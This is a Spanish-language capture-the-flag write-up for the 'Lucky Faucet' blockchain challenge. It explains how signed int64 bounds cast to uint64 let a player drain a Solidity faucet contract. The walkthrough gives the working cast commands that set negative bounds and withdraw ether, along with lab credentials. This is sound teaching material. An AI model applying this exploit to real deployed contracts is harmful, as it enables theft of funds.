Writeup de “Lucky Faucet” | Blockchain


Descripción del Challenge:

“The Fray anunció la colocación de un faucet a lo largo del camino para los aventureros que puedan superar los desafíos iniciales. Está diseñado para proporcionar suficientes recursos para todos los jugadores, con la esperanza de que nadie lo monopolice y no deje nada para los demás.”


Tools necesarias:

  • Foundry: un toolkit para desarrollo de aplicaciones en Ethereum, escrito en Rust. Es rápido, portátil y modular.
1
curl -L https://foundry.paradigm.xyz | bash

Objetivo:

La instancia remota deployea un contrato llamado LuckyFaucet con 500 ether. El objetivo es lograr que el balance del contrato baje al menos 10 ether, es decir, que quede con menos de 490 ether para que la función isSolved() devuelva true.


LuckyFaucet.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;

contract LuckyFaucet {
int64 public upperBound;
int64 public lowerBound;

constructor() payable {
// start with 50M-100M wei Range until player changes it
upperBound = 100_000_000;
lowerBound = 50_000_000;
}

function setBounds(int64 _newLowerBound, int64 _newUpperBound) public {
require(_newUpperBound <= 100_000_000, "100M wei is the max upperBound sry");
require(_newLowerBound <= 50_000_000, "50M wei is the max lowerBound sry");
require(_newLowerBound <= _newUpperBound);
// why? because if you don't need this much, pls lower the upper bound :)
// we don't have infinite money glitch.
upperBound = _newUpperBound;
lowerBound = _newLowerBound;
}

function sendRandomETH() public returns (bool, uint64) {
int256 randomInt = int256(blockhash(block.number - 1)); // "but it's not actually random 🤓"
// we can safely cast to uint64 since we'll never
// have to worry about sending more than 2**64 - 1 wei
uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound);
bool sent = msg.sender.send(amountToSend);
return (sent, amountToSend);
}
}

Setup.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.6;

import {LuckyFaucet} from "./LuckyFaucet.sol";

contract Setup {
LuckyFaucet public immutable TARGET;

uint256 constant INITIAL_BALANCE = 500 ether;

constructor() payable {
TARGET = new LuckyFaucet{value: INITIAL_BALANCE}();
}

function isSolved() public view returns (bool) {
return address(TARGET).balance <= INITIAL_BALANCE - 10 ether;
}
}

La función sendRandomETH() te envía una cantidad aleatoria de ETH (en wei), entre los valores lowerBound y upperBound. Por defecto, esos valores están en:

  • lowerBound = 50_000_000 wei

  • upperBound = 100_000_000 wei


Eso significa que cada vez que llamo a la función, el contrato me puede mandar entre 50 millones y 100 millones de wei.

Ahora, para que tengan una idea, 1 ether son 1e18 wei (o sea, un 1 con 18 ceros). Los wei son como los “centavos” del ether, el equivalente a los satoshis en Bitcoin, básicamente la unidad mínima.

Entonces, esos 100 millones de wei que te puede mandar el contrato en el mejor de los casos serían:

1
100_000_000 wei = 0.0000001 ether

Sí, una miseria.

El objetivo del challenge es lograr que el contrato termine con menos de 490 ether, o sea, robarle al menos 10 ether. Si uno se pusiera a llamar a la función sendRandomETH() normalmente, eso implicaría hacer millones de llamadas. No es viable.


Analizando la función setBounds:

Analizando esta función del contrato que se llama setBounds(), vemos que se pueden configurar los límites inferior y superior de un rango para enviar ETH aleatoriamente.



Esos límites están definidos como int64, o sea, números con signo.

Esto significa que nosotros podemos poner números negativos sin problema. Y acá viene la parte divertida: el número que se elige entre esos límites después se convierte a uint64, que es un número sin signo. ¿Y qué pasa si un número negativo se convierte a sin signo?

Bueno pues.. se transforma en un número gigante.

¿Cómo un número negativo termina siendo un número gigante?

Veamos este ejemplo:

  • int64 → entero con signo (puede ser negativo)

  • uint64 → entero sin signo (solo valores positivos)

Cuando usamos int64, las computadoras no guardan el signo con un “-“. En vez de eso, usan una técnica llamada two’s complement para representar los negativos en binario.


EJEMPLO:

El número -50000000 en int64 no se guarda como un valor negativo textual, sino que internamente, en binario, se ve así (en hex):

1
0xfffffffffcfdf880

Este valor, al ser interpretado como uint64, ya no es negativo, sino que se convierte en un número gigante:

1
18446744073659551872

Veamos el ejemplo en python:

1
python3 -c "print(f'uint64: {(-50000000) % (2**64)}')"

Esto daría: 18.44.. ether, lo que sería suficiente para completar el reto.


INFO

1
2
3
4
Private key : 0x103ef491f1e817af898e818c40700c58e4fc3ce64e90d3efeba264f0b44da000
Address : 0x27729afd1b86231DA3fdD2b24Bb8B6fC8ea8B4EE
Target contract : 0xdAfF5721Cc4B5192369702d672b05924a92231F7
Setup contract : 0x671B1B6bBd5A319778db7420267058bd5fab6EE1

Con estos datos ya podemos empezar a interactuar con el objetivo. Primero seteo las variables de entorno así es más cómodo para trabajar:

1
2
3
4
5
export PRIV_KEY=0x103ef491f1e817af898e818c40700c58e4fc3ce64e90d3efeba264f0b44da000
export ADDR=0x27729afd1b86231DA3fdD2b24Bb8B6fC8ea8B4EE
export TARGET=0xdAfF5721Cc4B5192369702d672b05924a92231F7
export SETUP=0x671B1B6bBd5A319778db7420267058bd5fab6EE1
export ETH_RPC_URL=http://83.136.248.49:42327

Notese que definimos la variable ETH_RPC_URL para que CAST la detecte automáticamente, sino como alternativa podemos usar:

1
--rpc-url http://83.136.248.49:42327

Explotación

Voy a usar un enfoque más directo y garantizado. Voy a establecer un rango completamente negativo, lo que garantiza que el valor aleatorio siempre será negativo:

1
cast send --private-key $PRIV_KEY $TARGET 'setBounds(int64,int64)' -- '-50000000' '-1'

Nota: Con este rango totalmente negativo, tenemos 100% de garantía de que cualquier valor seleccionado será negativo. Debería funcionar al primer intento.

Ahora llamamos a sendRandomETH(), que tomará un número “aleatorio” dentro del rango negativo y lo convertirá a uint64, provocando que un valor negativo se transforme en un número grande como comentamos antes, resultando en el envío de más de 18 ether en una sola ejecución:

1
cast send $TARGET 'sendRandomETH()' --private-key $PRIV_KEY


Finalmente verificamos el balance:

1
cast balance --ether $TARGET


Si chequeo ahora la función isSolved():

1
cast call $SETUP 'isSolved() (bool)'


Entonces obtenemos la flag y completamos el challenge: